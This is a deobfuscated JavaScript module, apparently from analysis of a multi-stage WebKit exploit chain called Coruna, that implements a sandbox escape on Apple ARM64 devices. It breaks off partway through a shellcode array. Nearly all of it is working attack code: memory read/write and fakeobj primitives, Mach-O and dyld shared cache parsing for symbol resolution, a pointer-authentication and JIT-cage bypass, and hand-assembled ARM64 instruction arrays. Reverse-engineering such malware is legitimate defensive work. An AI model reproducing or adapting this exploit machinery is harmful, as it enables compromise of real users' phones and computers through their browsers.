/**
 * Stage 3: Sandbox Escape (Deobfuscated)
 * Original hash: 9af53c1bb40f0328841df6149f1ef94f5336ae11
 *
 * This module implements the sandbox escape and post-exploitation setup for the
 * Coruna exploit chain. It builds a Mach-O payload in memory, resolves symbols,
 * and uses PAC-signed function pointers to escape the WebKit sandbox.
 *
 * Structure (3 nested modules unwrapped from base64):
 *   Inner module (lines ~1-484): Mach-O parser + ImageList + export trie (shared with Stage 2)
 *   Middle module (lines ~485-788): JIT cage bypass, PAC-aware function caller, caller setup
 *   Outer module (lines ~789-end): Offset64 class, Mach-O payload builder, sandbox escape entry
 *
 * Key capabilities:
 *   - Mach-O load command parser (Y/parseMachOHeaders), image resolver
 *   - Export trie parser for dyld symbol resolution
 *   - JIT cage pointer bypass via WASM module indirect call table
 *   - PAC-aware arbitrary function caller (F.caller.jd)
 *   - Offset64 (MA) class for 64-bit offset arithmetic without BigInt
 *   - MachOPayloadBuilder (oA) — builds Mach-O binary in memory with:
 *     headers, segments (__PAGEZERO, __TEXT, __DATA, __LINKEDIT),
 *     sections (__text, __stubs, __const, __data, __common),
 *     symbol table, string table, dysymtab, code signature
 *   - executeSandboxEscape (yA) — resolves system APIs and triggers escape
 *
 * Module dependencies:
 *   - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js)
 *   - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js)
 */

// ════════════════════════════════════════════════════════════════════════════
// Inner module: Mach-O parser + Image list (shared code with Stage 2)
// ════════════════════════════════════════════════════════════════════════════
globalThis.moduleManager.evalCode("ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8", function () {
    let r = {};
    const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
        {
            N: G
        } = utilityModule,
        platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"),
        {
            zn: F
        } = platformModule,
        Z = F.Ln;

    // ── Mach-O load command parser ───────────────────────────────────────────
    function Y(t, r = !1) {/* Original: Y → parseMachOHeaders */
        const e = platformModule.platformState.exploitPrimitive,
            n = e.read32FromInt64(t.H(16));
        let s = t.H(32),
            i = new utilityModule.Int64(0, 0),
            o = !0,
            h = !1,
            c = null,
            l = null,
            f = null,
            a = 0,
            u = null,
            d = null,
            w = null,
            g = null,
            m = !1;
        const E = [];
        for (let f = 0; f < n; f++) {
            const n = e.read32FromInt64(s),
                f = e.read32FromInt64(s.H(4));
            switch (n) {
                case 15: // LC_MAIN
                    m = !0;
                    break;
                case 50: // LC_BUILD_VERSION
                    r && 1 === e.read32FromInt64(s.H(8)) && (w = !0, g = e.read32FromInt64(s.H(12)));
                    break;
                case 25: {// LC_SEGMENT_64
                    const n = {
                        Xe: e.readStringFromInt64(s.H(8), 16),
                        qe: e.readInt64FromInt64(s.H(24)),
                        Eo: e.readInt64FromInt64(s.H(24)),
                        Oo: e.readInt64FromInt64(s.H(32)),
                        Qe: e.readInt64FromInt64(s.H(40)),
                        zo: e.readInt64FromInt64(s.H(48)),
                        $o: e.read32FromInt64(s.H(56)),
                        qo: e.read32FromInt64(s.H(60)),
                        Mo: e.read32FromInt64(s.H(64)),
                        flags: e.read32FromInt64(s.H(68)),
                        Do: s.H(72),
                        Lo: {},
                        dump() { }
                    };
                    if (r)
                        for (let t = 0; t < n.Mo; t += 1) {
                            const r = n.Do.H(80 * t),
                                s = {
                                    Xe: e.readStringFromInt64(r.H(16), 16),
                                    Vo: e.readStringFromInt64(r.H(0), 16),
                                    qe: e.readInt64FromInt64(r.H(32)),
                                    Oo: e.readInt64FromInt64(r.H(40)),
                                    Qe: e.read32FromInt64(r.H(48)),
                                    dump() { }
                                };
                            n.Lo[s.Vo] = s;
                        }
                    switch (E.push(n), n.Xe) {
                        case "__TEXT":
                            n.Qe.Et() ? o = !1 : l = t.sub(n.Qe), i = t.sub(n.qe);
                            break;
                        case "__LINKEDIT":
                            u = n.qe.add(i).sub(n.Qe);
                            break;
                        case "__AUTH_CONST":
                            if (r) {
                                const t = n.Lo.__auth_got;
                                void 0 !== t && (d = t.qe.add(i));
                            }
                    }
                    break;
                }
                case 0x80000022 /* 4294967296 + (929916783 ^ -1217566899) */:
                    h = !0, c = e.read32FromInt64(s.H(40)), a = e.read32FromInt64(s.H(44));
                    break;
                case 0x80000033 /* 4294967296 + (1867658329 ^ -279825302) */:
                    h = !0, c = e.read32FromInt64(s.H(8)), a = e.read32FromInt64(s.H(12));
            }
            s = s.H(f);
        }
        let _ = i;
        if (r && !o && !m) {
            const r = e.read32FromInt64(t.H(4));
            if (w && 0x0100000c /* 1932683608 ^ 1915906388 */ === r && g >= 0xb0000 /* 1466849650 ^ 1466259826 */) {
                if (null === d) throw new Error("null === d");
                let t = e.readInt64FromInt64(d).Dt();
                if (t.Et()) throw new Error("t.Et()");
                for (t = t.Bt(t.it % 0x1000 /* 1699169646 ^ 1699173742 */);
                    0xfeedfacf /* 4294967296 + (1314404404 ^ -1330265349) */ !== e.read32FromInt64(t);) t = t.Bt(0x1000 /* 1714972491 ^ 1714976587 */);
                const r = this.Xo(t);
                l = r.Ho.Zo, _ = r.Ho.Ko;
            }
        }
        for (let t = 0; t < E.length; t++) {
            const r = E[t],
                e = r.qe;
            r.qe = e.add(i);
        }
        return h && c && (f = u.H(c)), new MachOImage({
            Go: t,
            Jo: n,
            Qo: i,
            Yo: u,
            Zo: l,
            Ko: _,
            th: f,
            rh: a
        }, E);
    }
    // ── Module helper exports ────────────────────────────────────────────────
    r.ur = function () {
        return Y(platformModule.platformState.yn, !0);
    }, r.Xo = Y;
    // ── MachOImage class ─────────────────────────────────────────────────────
    class MachOImage {/* Original: tt → MachOImage */
        constructor(t, r) {
            this.Ho = t, this.eh = r, this.nh = new Uint8Array([]), this.sh = !1;
        }
        sr() {
            return new rt(this);
        }
        ar() {
            return new et(this);
        }
        ih(t) {
            const r = this.oh("_" + t);
            return r ? this.Ho.Go.H(r) : new utilityModule.Int64(0, 0);
        }
        oh(t) {
            if (!1 === this.sh) {
                this.sh = !0;
                const t = new Uint32Array(this.Ho.rh + 3 >> 2);
                for (let r = 0; r < t.length; r++) t[r] = platformModule.platformState.exploitPrimitive.read32FromInt64(this.Ho.th.H(4 * r));
                this.nh = new Uint8Array(t.buffer);
            }
            const r = this.nh;
            let e = "",
                n = 0,
                s = !1;
            for (; !s;) {
                s = !0;
                let i = 0,
                    o = 0;
                do {
                    i += (127 /* 2004504407 ^ 2004504360 */ & r[n]) << o, o += 7;
                } while (128 /* 1598192238 ^ 1598192366 */ & r[n++]);
                if (e === t && 0 !== i) {
                    n++;
                    let t = 0;
                    o = 0;
                    do {
                        t += (127 /* 2018992691 ^ 2018992716 */ & r[n]) << o, o += 7;
                    } while (128 /* 1783716180 ^ 1783716308 */ & r[n++]);
                    return t;
                }
                n += i;
                const h = r[n++];
                for (let i = 0; i < h; i++) {
                    let i = "";
                    for (; 0 !== r[n];) i += String.fromCharCode(r[n++]);
                    n++;
                    let h = 0;
                    o = 0;
                    do {
                        h += (127 /* 2053530479 ^ 2053530384 */ & r[n]) << o, o += 7;
                    } while (128 /* 1936946514 ^ 1936946642 */ & r[n++]);
                    if (i.length && e + i === t.substr(0, e.length + i.length)) {
                        e += i, n = h, s = !1;
                        break;
                    }
                }
            }
            return 0;
        }
    }
    const tt = MachOImage;
    // ── ExportTrieParser ─────────────────────────────────────────────────────
    class rt {/* Original: rt → ExportTrieParser */
        constructor(t) {
            this.hh = t, this.lh = this.hh.Ho.Go;
        }
        ih(t) {
            const r = this.hh.oh("_" + t);
            return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0);
        }
        dlsym(t) {
            const r = this.hh.oh("_" + t);
            if (!r) throw new Error("Stage3 rt.dlsym(" + t + "): symbol not found");
            return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0);
        }
        ah(t) {
            return 0 !== this.hh.oh("_" + t);
        }
        uh(...t) {
            for (const r of t) try {
                return this.dlsym(r);
            } catch (t) {
                continue;
            }
            throw new Error("rt.uh(...t) failed");
        }
    }
    // ── MachOImageView (section/segment accessor) ────────────────────────────
    class et {/* Original: et → MachOImageView */
        constructor(t) {
            this.hh = t, this.dh = null, this.wh = this.hh.Ho.Go.yt();
        }
        ih(t) {
            const r = this.hh.oh("_" + t);
            return r ? this.wh + r : 0;
        }
        uh(...t) {
            for (const r of t) try {
                return this.dlsym(r);
            } catch (t) {
                continue;
            }
            throw new Error("et.uh(...t) failed");
        }
        ah(t) {
            return 0 !== this.hh.oh("_" + t);
        }
        dlsym(t) {
            const r = this.hh.oh("_" + t);
            if (!r) throw new Error("Stage3 et.dlsym(" + t + "): symbol not found");
            return this.wh + r;
        }
        gh(t) {
            return {
                Xe: t.Xe,
                qe: t.qe.yt(),
                Eo: t.Eo.yt(),
                Oo: t.Oo.yt(),
                Qe: t.Qe.yt(),
                zo: t.zo.yt(),
                $o: t.$o,
                qo: t.qo,
                Mo: t.Mo,
                flags: t.flags,
                Do: t.Do.yt(),
                Lo: t.Lo
            };
        }
        mh(t) {
            return {
                Xe: t.Xe,
                Vo: t.Vo,
                qe: t.qe.yt(),
                Oo: t.Oo.yt(),
                Qe: t.Qe.yt()
            };
        }
        Eh(t) {
            for (let r = 0; r < this.hh.eh.length; r++)
                if (this.hh.eh[r].Xe === t) return this.gh(this.hh.eh[r]);
            return null;
        }
        _h(t, r) {
            const e = this.Eh(t);
            if (null !== e) {
                if (0 !== Object.keys(e.Lo).length) {
                    const t = e.Lo[r];
                    return void 0 !== t ? this.mh(t) : null;
                } {
                    let n = null;
                    for (let s = 0; s < e.Mo; s++) {
                        const i = e.Do + 80 * s,
                            o = t,
                            h = platformModule.platformState.exploitPrimitive.readString(i, 16),
                            c = {
                                Xe: o,
                                Vo: h,
                                qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 32).add(this.hh.Ho.Qo),
                                Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 40),
                                Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 48)
                            };
                        r === h && (n = c), e.Lo[h] = c;
                    }
                    return n ? this.mh(n) : null;
                }
            }
            return null;
        }
        bh(t, r) {
            const e = this.Eh(t);
            if (null !== e)
                for (let n = 0; n < e.Mo; n++) {
                    const s = e.Do + 80 * n,
                        i = t,
                        o = platformModule.platformState.exploitPrimitive.readString(s, 16);
                    if (r === o) {
                        const t = {
                            Xe: i,
                            Vo: o,
                            qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 32).add(this.hh.Ho.Qo),
                            Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 40),
                            Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 48)
                        };
                        return this.mh(t);
                    }
                }
            return null;
        }
        ph(t) {
            const r = this.Eh(t);
            if (!r) throw new Error("Stage3 et.ph(" + t + "): segment not found");
            return r;
        }
        Sh() {
            return null === this.dh && (this.dh = new nt(this.hh.Ho.Ko.yt(), this.hh.Ho.Zo.yt())), this.dh;
        }
        xh(t) {
            const r = this.ih(t);
            return 0 !== r ? platformModule.platformState.exploitPrimitive.readInt64FromOffset(r) : new utilityModule.Int64(0, 0);
        }
        Ih(t) {
            const r = this.ph("__TEXT");
            return t - r.Eo + r.qe;
        }
        Th(t) {
            const r = this.ih(t);
            return 0 !== r ? platformModule.platformState.exploitPrimitive.readRawBigInt(r) : 0;
        }
        yh(t, r) {
            const e = this.ih(t);
            return 0 !== e ? platformModule.platformState.exploitPrimitive.readByte(e) : r;
        }
        kh(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            for (let t = 0; t < e.Oo; t += 8) {
                const n = e.qe + t;
                if (platformModule.platformState.exploitPrimitive.read32(n) === r >>> 0 && platformModule.platformState.exploitPrimitive.read32(n + 4) === r / 4294967296 >>> 0) return n;
            }
            throw new Error("et.kh(t, r) failed");
        }
        Oh(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            const n = e.qe,
                s = e.qe + e.Oo;
            return r >= n && r < s;
        }
        zh(t, r, e) {
            const n = this._h(t, r);
            if (null === n) throw new Error("null === n");
            const s = n.qe,
                i = n.qe + n.Oo;
            return e >= s && e < i;
        }
        Ph(t) {
            for (let r = 0; r < this.hh.eh.length; r++)
                if (this.Oh(this.hh.eh[r].Xe, t)) return !0;
            return !1;
        }
        Uh(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            for (let t = 0; t < e.Oo; t += 8)
                if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return e.qe + t;
            throw new Error("et.Uh(t, r) failed");
        }
        Ah(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            for (let t = 0; t < e.Oo; t += 8)
                if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return platformModule.platformState.exploitPrimitive.readInt64FromOffset(e.qe + t);
            throw new Error("et.Ah(t, r) failed");
        }
        $h(t, r, e) {
            const n = this.Eh(t);
            if (null === n) throw new Error("null === n");
            const s = this.Eh(r);
            if (null === s) throw new Error("null === s");
            for (let t = 0; t < s.Oo; t += 8) {
                const r = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(s.qe + t);
                if (r >= n.qe && r < n.qe + n.Oo && !0 === e(r, platformModule.platformState.exploitPrimitive.readInt64FromOffset(s.qe + t))) break;
            }
        }
        qh(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            for (let t = 0; t < e.Oo; t += 4) {
                const n = e.qe + t;
                if (!0 === r(n, platformModule.platformState.exploitPrimitive.read32(n))) break;
            }
        }
        Rh(t, r) {
            const e = this.Eh(t);
            if (null === e) throw new Error("null === e");
            for (let t = 0; t < e.Oo; t += 8) {
                const n = e.qe + t;
                if (!0 === r(Z.ut(n))) break;
            }
        }
        Ch(t) {
            for (const r of this.hh.eh) {
                const e = Z.ut(r.qe),
                    n = Z.ut(r.qe).H(utilityModule._(r.Oo));
                if (t.Pi(e) && t.Si(n)) return r;
            }
            return null;
        }
    }
    // ── ImageList (dyld shared cache resolver) ───────────────────────────────
    class nt {/* Original: nt → ImageList */
        constructor(t, r) {
            this.Mh = t, this.Dh = r, this.Lh = !1, this.Bh = {}, this.images = this.Nh();
        }
        Vh() {
            return platformModule.platformState.exploitPrimitive.readString(this.Dh);
        }
        Xh() {
            return "dyld_v1  arm64e" === this.Vh();
        }
        Zh() {
            return this.Mh;
        }
        Nh() {
            const t = [];
            if (!this.Vh().startsWith("dyld")) throw new Error("!this.Vh().startsWith(dyld)");
            let r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 24),
                e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 28);
            if (0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)) throw new Error("0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)");
            for (let n = 0; n < e; n++) {
                const e = this.Dh + r + 32 * n,
                    s = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e) + this.Mh,
                    i = platformModule.platformState.exploitPrimitive.read32(e + 24),
                    o = platformModule.platformState.exploitPrimitive.readString(this.Dh + i);
                t.push({
                    address: s,
                    path: o
                });
            }
            return t;
        }
        jh() {
            const t = [];
            for (const r of this.images) t.push(r.path);
            return t;
        }
        Fh(t, r) {
            return this.Hh(t).dlsym(r);
        }
        Kh(t) {
            for (const r of this.images) try {
                return this.Hh(r.path).dlsym(t);
            } catch (t) {
                continue;
            }
            throw new Error("nt.Kh(t) failed");
        }
        Gh(t) {
            for (let r = 0; r < this.images.length; r++)
                if (-1 !== this.images[r].path.indexOf(t)) return this.images[r].address;
            return 0;
        }
        Hh(t) {
            if (void 0 === this.Bh[t]) {
                const r = this.Gh(t);
                if (0 === r) return null;
                this.Bh[t] = Y(utilityModule.Int64.fromNumber(r)).ar();
            }
            return this.Bh[t];
        }
        Jh(t) {
            const r = this.Hh(t);
            if (null === r) throw new Error("null === r");
            return r;
        }
        Qh(...t) {
            for (const r of t) try {
                return this.Jh(r);
            } catch (t) { }
            throw new Error("nt.Qh(...t) failed");
        }
    }

    window.log("Done ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8");
    return r; // End of inner module (Mach-O parser + ImageList)
});

// ════════════════════════════════════════════════════════════════════════════
// Middle module: JIT cage bypass + PAC-aware function caller
// ════════════════════════════════════════════════════════════════════════════
globalThis.moduleManager.evalCode("b5135768e043d1b362977b8ba9bff678b9946bcb", function () {
    let r = {};
    const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
        {
            N: G_unused,
            Vt: Int64
        } = utilityModule,
        platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"),
        platformState = platformModule.platformState,
        exploitPrimitive = platformState.exploitPrimitive,
        pacBypass = platformState.pacBypass;

    // ── Offset64 helpers ─────────────────────────────────────────────────────
    function newInt64(b, a = 0) {
        return new Int64(b, a);
    }

    function toInt64(b) {
        return b instanceof Int64 ? b : Int64.fromNumber(b);
    }
    // ── SandboxEscapeBase (cb) ───────────────────────────────────────────────
    class SandboxEscapeBase {/* Original: cb → SandboxEscapeBase */
        Td() {
            const b = new Function("let x = 2; x += 3; x += 4; return Math.random(1, 1) + " + Math.random() + " + " + Math.random() + " + " + Math.random() + " + x;");
            for (let a = 0; a < 10000 /* 1783712851 ^ 1783720771 */; a++) b();
            return b;
        }
        static newInstance() {
            return new SandboxEscape();
        }
        constructor() {
            this.Gd = !1, this.fd = !1, this.kd = new Uint32Array(4096 /* 1868128841 ^ 1868132937 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd), this.Zd = new Uint32Array(4096 /* 1128612948 ^ 1128617044 */), utilityModule.D(this.Zd), this.Nd = exploitPrimitive.fakeobj(this.Zd);
        }
        wd(b, a = 0) {
            const l = this.newInt64OfSomething(b.byteLength + a),
                i = exploitPrimitive.fakeobj(b);
            return this.Ad(l, toInt64(i), b.byteLength), l;
        }
        Ad(b, a, l) { }
        newInt64OfSomething(b) {
            return newInt64(0);
        }
        Sd() {
            if (null === platformState.caller) throw new Error("null === platformState.caller");
            return platformState.caller;
        }
    }
    const cb = SandboxEscapeBase;
    // ── SandboxEscape implementation (ob) ────────────────────────────────────
    class SandboxEscape extends SandboxEscapeBase {/* Original: ob → SandboxEscape */
        constructor() {
            super(), this.Wd = !1, this.machOParser = platformModule.cr();
            try {
                this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateEmPv");
            } catch (b) {
                this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateERKNS_6LockerINS_4LockEEEm"), this.Wd = !0;
            }
            this.Qd = this.machOParser.uh("_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerEPvNS_20JITCompilationEffortE", "_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE");
            try {
                this.Rd = this.machOParser.uh("_ZN3JSC22ExecutableMemoryHandle10createImplEm"), this.Gd = !0;
            } catch (b) { }
            this.Hd = this.Vd(), !0 === platformModule.platformState.versionFlags.OwGD0F && !1 === this.Gd || !0 === platformModule.platformState.versionFlags.NUFCII ? this.fd = !0 : !0 === platformModule.platformState.versionFlags.IsjfuV && !0 === platformState.hasPAC && (this.fd = ((b) => {
                const a = Symbol(),
                    l = Symbol(),
                    i = Symbol(),
                    c = Symbol(),
                    o = (b, o) => {
                        const d = exploitPrimitive.read32(b + o);
                        if (0xd65f0fff /* 4294967296 + (812470091 ^ -432914252) */ === d || 0xd65f03c0 /* 4294967296 + (1378693962 ^ -2072891254) */ === d) return {
                            kind: 0xd65f0fff /* 4294967296 + (1986424389 ^ -1606852166) */ === d ? i : l,
                            me: o
                        };
                        if (d >>> 26 == 37) {
                            let b = 0x04ffffff /* 1868724019 ^ 1805486284 */ & d;
                            return b >= 0x04000000 /* 1648780642 ^ 1715889506 */ && (b -= 0x04000000 /* 2018405446 ^ 2085514310 */), {
                                kind: a,
                                me: o,
                                Yd: b
                            };
                        }
                        return d >>> 10 == 0x0036b043 /* 827803727 ^ 828504076 */ || d >>> 10 == 0x0036b04b /* 1450003300 ^ 1448868655 */ ? {
                            me: o,
                            kind: c,
                            Rn: d >>> 5 & 15,
                            Pd: 15 & d
                        } : null;
                    },
                    d = (() => {
                        for (let c = 0; c < 0x500 /* 1131829831 ^ 1131831111 */; c += 4) {
                            const d = o(b, c);
                            if (null !== d) {
                                if (d.kind === a) return b + c + 4 * d.Yd;
                                if (d.kind === l || d.kind === i) throw new Error("d.kind === l || d.kind === i");
                            }
                        }
                    })();
                if (0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)) throw new Error("0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)");
                const h = {},
                    g = [];
                for (let b = 0; b < 0x500 /* 1231839093 ^ 1231837813 */; b += 4) {
                    const a = o(d, b);
                    if (null !== a && (h[b] = a, a.kind === c && g.push(a), a.kind === l || a.kind === i)) break;
                }
                if (g.length < 3 || g.length > 8) throw new Error("g.length < 3 || g.length > 8");
                const s = g[1],
                    t = g[2];
                return s.Pd !== s.sandboxEscape || s.me + 4 !== t.me;
            })(this.Qd)), this.kd = new Uint32Array(4096 /* 1498362445 ^ 1498358349 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd);
            try {
                this.machOParser.dlsym("_ZN3JSC20SecureARM64EHashPins27allocatePinForCurrentThreadEv"), this.Jd = !0;
            } catch (b) {
                this.Jd = !1;
            }
            this.Od = null, null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (this.Od = pacBypass.pacda(toInt64(this.Qd), toInt64(0)));
            let b, a = null;
            if (!0 === this.fd) {
                if (!0 === platformModule.platformState.versionFlags.sKfNmf) {
                    for (a = !0 === platformModule.platformState.versionFlags.wYk8Jg ? [
                        // ----- function prologue (PAC + callee-save) -----
                        0xD503237F, // paciasp                           ; sign LR with IA key + SP
                        0xA9BF7BFD, // stp  x29, x30, [sp, #-16]!       ; push frame pointer + link register
                        0x910003FD, // add  x29, sp, #0x0                ; fp = sp  (establish frame)
                        0xA9BF53F3, // stp  x19, x20, [sp, #-16]!       ; push x19-x20
                        0xA9BF5BF5, // stp  x21, x22, [sp, #-16]!       ; push x21-x22
                        0xA9BF63F7, // stp  x23, x24, [sp, #-16]!       ; push x23-x24
                        0xA9BF6BF9, // stp  x25, x26, [sp, #-16]!       ; push x25-x26
                        0xA9BF73FB, // stp  x27, x28, [sp, #-16]!       ; push x27-x28
                        // ----- zero-initialise loop variables -----
                        0xD2800013, // movz x19, #0x0                    ; x19 = 0
                        0xD2800014, // movz x20, #0x0                    ; x20 = 0
                        0xD2800015, // movz x21, #0x0                    ; x21 = 0
                        0xD2800016, // movz x22, #0x0                    ; x22 = 0  (byte index, increments by 4)
                        // ----- main loop: compare index to length -----
                        0xEB0102DF, // cmp  x22, x1, uxtb #0             ; index vs count
                        0x5400030A, // b.ge #+0x60                       ; if index >= count -> epilogue
                        // ----- loop body -----
                        0xB8766815, // ldr  w21, [x0, w22, lsl #0]       ; w21 = input[index]
                        0x91000694, // add  x20, x20, #0x1               ; x20++
                        0xAA1403FB, // mov  x27, x20                     ; x27 = x20
                        // ----- build authenticated pointer for fn_A -----
                        0x92405F7B, // movn x27, #0x2fb, lsl #32         ; x27 = ~(0x2fb << 32)
                        0xD2800257, // movz x23, #0x12                   ; x23 = 0x12
                        0xD3481EF7, // lsl  x23, x23, #56                ; x23 <<= 56
                        0x8B1B82F7, // add  x23, x23, x27, lsl #32       ; x23 += x27 << 32
                        0x8B1302F7, // add  x23, x23, x19                ; x23 += x19  (final ptr A)
                        0xAA1503F9, // mov  x25, x21                     ; x25 = current element
                        0xDAC10AF9, // braaz  x23                        ; branch (auth IA, zero) to x23
                        0xD367FF39, // lsr  x25, x25, #23                ; x25 >>= 23
                        // ----- build authenticated pointer for fn_B -----
                        0xD2800278, // movz x24, #0x13                   ; x24 = 0x13
                        0xD3481F18, // lsl  x24, x24, #56                ; x24 <<= 56
                        0x8B1B8318, // add  x24, x24, x27, lsl #32       ; x24 += x27 << 32
                        0x8B130318, // add  x24, x24, x19                ; x24 += x19  (final ptr B)
                        0xAA1503FA, // mov  x26, x21                     ; x26 = current element
                        0xDAC10B1A, // braaz  x24                        ; branch (auth IA, zero) to x24
                        0xD357FF5A, // lsr  x26, x26, #23                ; x26 >>= 23
                        // ----- XOR results and store -----
                        0xCA19035A, // eor  x26, x26, x25                ; x26 ^= x25
                        0x2A1A03F3, // mov  w19, w26                     ; w19 = low 32 bits
                        0xB8366873, // str  w19, [x3, w22, uxtw #0]      ; output[index] = w19
                        0x910012D6, // add  x22, x22, #0x4               ; index += 4
                        0x17FFFFE8, // b    #-0x60                       ; -> loop top
                        // ----- function epilogue (callee-restore) -----
                        0xA8C173FB, // ldp  x27, x28, [sp], #16          ; pop x27-x28
                        0xA8C16BF9, // ldp  x25, x26, [sp], #16          ; pop x25-x26
                        0xA8C163F7, // ldp  x23, x24, [sp], #16          ; pop x23-x24
                        0xA8C15BF5, // ldp  x21, x22, [sp], #16          ; pop x21-x22
                        0xA8C153F3, // ldp  x19, x20, [sp], #16          ; pop x19-x20
                        0xA8C17BFD, // ldp  x29, x30, [sp], #16          ; pop frame pointer + link register
                        0xD65F0FFF // retaa                             ; authenticated return (IA key)
                    ] : [
                        // ----- wYk8Jg=false variant: same structure, blraaz instead of braaz -----
                        // ----- function prologue -----
                        0xD503237F, // paciasp
                        0xA9BF7BFD, // stp  x29, x30, [sp, #-16]!
                        0x910003FD, // add  x29, sp, #0x0
                        0xA9BF53F3, // stp  x19, x20, [sp, #-16]!
                        0xA9BF5BF5, // stp  x21, x22, [sp, #-16]!
                        0xA9BF63F7, // stp  x23, x24, [sp, #-16]!
                        0xA9BF6BF9, // stp  x25, x26, [sp, #-16]!
                        0xA9BF73FB, // stp  x27, x28, [sp, #-16]!
                        // ----- zero-init -----
                        0xD2800013, // movz x19, #0x0
                        0xD2800014, // movz x20, #0x0
                        0xD2800015, // movz x21, #0x0
                        0xD2800016, // movz x22, #0x0
                        // ----- loop -----
                        0xEB0102DF, // cmp  x22, x1, uxtb #0
                        0x5400030A, // b.ge #+0x60
                        0xB8766815, // ldr  w21, [x0, w22, lsl #0]
                        0x91000694, // add  x20, x20, #0x1
                        0xAA1403FB, // mov  x27, x20
                        0x92405F7B, // movn x27, #0x2fb, lsl #32
                        0xD2800257, // movz x23, #0x12
                        0xD3481EF7, // lsl  x23, x23, #56
                        0x8B1B82F7, // add  x23, x23, x27, lsl #32
                        0x8B1302F7, // add  x23, x23, x19
                        0xAA1503F9, // mov  x25, x21
                        0xDAC10EF9, // blraaz x23                        ; call with link (auth IA, zero) to x23
                        0xD367FF39, // lsr  x25, x25, #23
                        0xD2800278, // movz x24, #0x13
                        0xD3481F18, // lsl  x24, x24, #56
                        0x8B1B8318, // add  x24, x24, x27, lsl #32
                        0x8B130318, // add  x24, x24, x19
                        0xAA1503FA, // mov  x26, x21
                        0xDAC10F1A, // blraaz x24                        ; call with link (auth IA, zero) to x24
                        0xD357FF5A, // lsr  x26, x26, #23
                        0xCA19035A, // eor  x26, x26, x25
                        0x2A1A03F3, // mov  w19, w26
                        0xB8366873, // str  w19, [x3, w22, uxtw #0]
                        0x910012D6, // add  x22, x22, #0x4
                        0x17FFFFE8, // b    #-0x60
                        // ----- epilogue -----
                        0xA8C173FB, // ldp  x27, x28, [sp], #16
                        0xA8C16BF9, // ldp  x25, x26, [sp], #16
                        0xA8C163F7, // ldp  x23, x24, [sp], #16
                        0xA8C15BF5, // ldp  x21, x22, [sp], #16
                        0xA8C153F3, // ldp  x19, x20, [sp], #16
                        0xA8C17BFD, // ldp  x29, x30, [sp], #16
                        0xD65F0FFF // retaa
                    ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */);
                    b = new Uint32Array(a);
                } else {
                    // sKfNmf=false: same loop body, no PACIASP / retaa (device lacks ARMv8.3 PAuth)
                    for (a = [
                        // ----- prologue (no pointer auth) -----
                        0xA9BF7BFD, // stp  x29, x30, [sp, #-16]!
                        0x910003FD, // add  x29, sp, #0x0
                        0xA9BF53F3, // stp  x19, x20, [sp, #-16]!
                        0xA9BF5BF5, // stp  x21, x22, [sp, #-16]!
                        0xA9BF63F7, // stp  x23, x24, [sp, #-16]!
                        0xA9BF6BF9, // stp  x25, x26, [sp, #-16]!
                        0xA9BF73FB, // stp  x27, x28, [sp, #-16]!
                        // ----- zero-init -----
                        0xD2800013, // movz x19, #0x0
                        0xD2800014, // movz x20, #0x0
                        0xD2800015, // movz x21, #0x0
                        0xD2800016, // movz x22, #0x0
                        // ----- loop (identical logic to wYk8Jg=false) -----
                        0xEB0102DF, // cmp  x22, x1, uxtb #0
                        0x5400030A, // b.ge #+0x60
                        0xB8766815, // ldr  w21, [x0, w22, lsl #0]
                        0x91000694, // add  x20, x20, #0x1
                        0xAA1403FB, // mov  x27, x20
                        0x92405F7B, // movn x27, #0x2fb, lsl #32
                        0xD2800257, // movz x23, #0x12
                        0xD3481EF7, // lsl  x23, x23, #56
